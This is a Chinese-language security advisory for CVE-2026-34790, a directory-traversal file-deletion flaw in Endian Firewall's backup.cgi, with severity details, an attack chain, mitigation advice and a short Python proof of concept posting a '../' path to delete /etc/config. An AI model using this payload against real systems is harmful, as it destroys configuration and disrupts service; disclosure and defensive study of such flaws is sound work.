IPBUF安全漏洞报告
English
CVE-2026-34790 CVSS 7.1 高危

CVE-2026-34790 Endian Firewall 任意文件删除漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34790
漏洞类型
目录遍历/任意文件删除
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

路径遍历任意文件删除CVE-2026-34790Endian Firewall认证绕过

漏洞概述

Endian Firewall 3.3.25及更早版本存在安全漏洞。由于/cgi-bin/backup.cgi接口中的remove ARCHIVE参数未对目录遍历序列进行充分过滤,经过身份验证的攻击者可以利用该漏洞删除服务器上的任意文件。该漏洞可能导致系统完整性受损及部分服务不可用,CVSS评分为7.1,属于高危漏洞。

技术细节

该漏洞源于Endian Firewall在处理备份删除请求时的编码缺陷。具体而言,/cgi-bin/backup.cgi脚本接收用户提交的“remove ARCHIVE”参数,旨在删除指定的备份归档文件。然而,开发人员未对该参数实施有效的路径规范化或边界检查。攻击者可以在参数中插入“../”序列,从而跳出预定的备份目录。系统随后将此恶意路径直接传递给底层C语言函数unlink(),导致文件系统操作不受限制。由于漏洞利用需要经过身份验证(PR:L),攻击者需先获取普通用户权限,但一旦进入系统,即可利用此逻辑缺陷删除Web服务器权限范围内的任意文件,包括系统配置文件、应用程序脚本或日志文件,从而对系统的完整性(I:H)和可用性(A:L)造成严重影响。

攻击链分析

STEP 1
1. 信息收集与认证
攻击者识别目标为Endian Firewall系统,并通过社会工程学、弱口令或其他方式获取低权限账户的登录凭证。
STEP 2
2. 构造恶意Payload
攻击者利用漏洞点/cgi-bin/backup.cgi,在remove ARCHIVE参数中植入“../”目录遍历字符,指向希望删除的系统关键文件路径。
STEP 3
3. 发起攻击请求
攻击者使用获取的Session Cookie,向服务器发送包含恶意Payload的POST请求。
STEP 4
4. 服务器执行删除操作
服务器端脚本未过滤输入,直接将恶意路径传递给unlink()函数,导致文件系统层面的文件删除。
STEP 5
5. 达成攻击效果
目标文件被成功删除,导致系统配置丢失或服务中断,达成破坏完整性(I:H)和可用性(A:L)的目的。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://<target-ip>/cgi-bin/backup.cgi" # Attacker's session cookie (Authentication required) session_cookie = { "sid": "<valid_session_id>" } # Exploit payload: Directory traversal to delete arbitrary file # Example: Attempting to delete /etc/config data_payload = { "remove": "ARCHIVE", "ARCHIVE": "../../../../etc/config" } try: print(f"Sending exploit request to {target_url}...") response = requests.post(target_url, data=data_payload, cookies=session_cookie) if response.status_code == 200: print("Request sent successfully. Check if the file is deleted.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施
如果无法立即升级,建议在网络防火墙层面限制对/cgi-bin/backup.cgi接口的访问来源IP,仅允许内网管理IP访问,并暂时禁用低权限用户的备份文件删除权限,直至完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表